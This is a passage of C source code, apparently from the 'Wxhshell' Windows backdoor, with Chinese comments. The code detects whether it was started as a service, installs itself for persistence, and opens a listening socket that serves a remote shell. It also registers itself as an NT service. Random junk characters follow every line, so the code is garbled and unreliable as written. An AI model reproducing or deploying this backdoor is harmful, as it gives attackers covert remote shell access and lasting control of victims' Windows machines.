DWORD AffinityMask; 5I!EsW$sY
DWORD BasePriority; SBBDlr^P
ULONG UniqueProcessId; 87P.K Yy
ULONG InheritedFromUniqueProcessId; lNcXBtwK@#
} PROCESS_BASIC_INFORMATION; 2=3pV!)4}
IK%fX/tDyc
PROCNTQSIP NtQueryInformationProcess; f^8,Z+n
p}qNw`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -[cl]H)V
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2Uf}gG)
l@ +]XyLj
HANDLE hProcess; \vBpH'hR,'
PROCESS_BASIC_INFORMATION pbi; #tyHj k
U"} ml
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2;@#i*\Y
if(NULL == hInst ) return 0; 7-nz'-'
3,@I`
M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KGCm@oy
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2TN+ (B#Z!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k<xiP@b{y
4{Vw30DZ
if (!NtQueryInformationProcess) return 0; \;w+_<zE5{
#!wL0p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ {sRK
if(!hProcess) return 0; %m:T?![XO
T&_!AjH
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CwKo'PAJ
zG_e=
CloseHandle(hProcess); |fXwH> 'sw
WlHw\\ur
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *I0{1cST
if(hProcess==NULL) return 0; p)d0ZAs
v3w5+F
HMODULE hMod; -lM4 *+f
char procName[255]; mOj6
4}_`"
unsigned long cbNeeded; V 0Ul`
Ol4)*/oZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >;S/$
zbt>5S_
CloseHandle(hProcess); n>F1G
MX
=(kwMJ
if(strstr(procName,"services")) return 1; // 以服务启动 (>*<<a22
JO:40V?op
return 0; // 注册表启动 k^3|A3A
} `3!ERQU
9QaEUy*,
// 主模块 ,Mf@I5?
int StartWxhshell(LPSTR lpCmdLine) [gZd$9a
{ D*d@<&Bl4<
SOCKET wsl; }-H<wQ&x
BOOL val=TRUE; $QQv$
int port=0; vpOn0([hS
struct sockaddr_in door; 4&IBNc,sn
j_PICv*6
if(wscfg.ws_autoins) Install(); K'[H`x^
JV|GEn\@N
port=atoi(lpCmdLine); C<CE!|sfr
L^: +8g
if(port<=0) port=wscfg.ws_port; eR.ucTji
m|<j9.iJ
WSADATA data; jIx5_lFe
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wy5vn?T@
t.m65
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hETTD%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MR$Bl"d
door.sin_family = AF_INET; 45l/)=@@B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4C2J yP3
door.sin_port = htons(port); 3 }Z[d
(KaP=t}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q7O8']~n
closesocket(wsl); ?C
return 1; GH2D5HVN
} ai% fj*
-[?q?w!?
if(listen(wsl,2) == INVALID_SOCKET) { ,o-BJ
069
closesocket(wsl); H"W%+{AR
return 1; $FEG0&
} CK1Xdyf_S
Wxhshell(wsl); 6y&d\_?Y
WSACleanup(); '|n-w\
>Wv
Hw8`/'M=%5
return 0; {.2A+JT,
n|F$qV_p\
} HqXaT6#/
b]hP;QK`U$
// 以NT服务方式启动 O#Ab1FQn
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \?)@
#Qs
{ 6P;JF%{J
DWORD status = 0; N<ww&GXBX
DWORD specificError = 0xfffffff; \k;)m-0bj{
e"^* ~'mJ
serviceStatus.dwServiceType = SERVICE_WIN32; l+S08IZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^ +cf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )`]w\s
#
serviceStatus.dwWin32ExitCode = 0; 6R% I)
serviceStatus.dwServiceSpecificExitCode = 0; X_XeI!,b
serviceStatus.dwCheckPoint = 0; IGs!SXclCs
serviceStatus.dwWaitHint = 0;
C,:3z
'S<ebwRd=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TfK$tTkM
if (hServiceStatusHandle==0) return; N ?0T3-/K
5!,`LM9
status = GetLastError(); @qH{;
if (status!=NO_ERROR) H"f%\'
{ ?g2Wu0<
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gc}d#oo*k
serviceStatus.dwCheckPoint = 0; >(EMZ5
serviceStatus.dwWaitHint = 0; :M(%sv</
serviceStatus.dwWin32ExitCode = status; O
[GG<Um
serviceStatus.dwServiceSpecificExitCode = specificError; <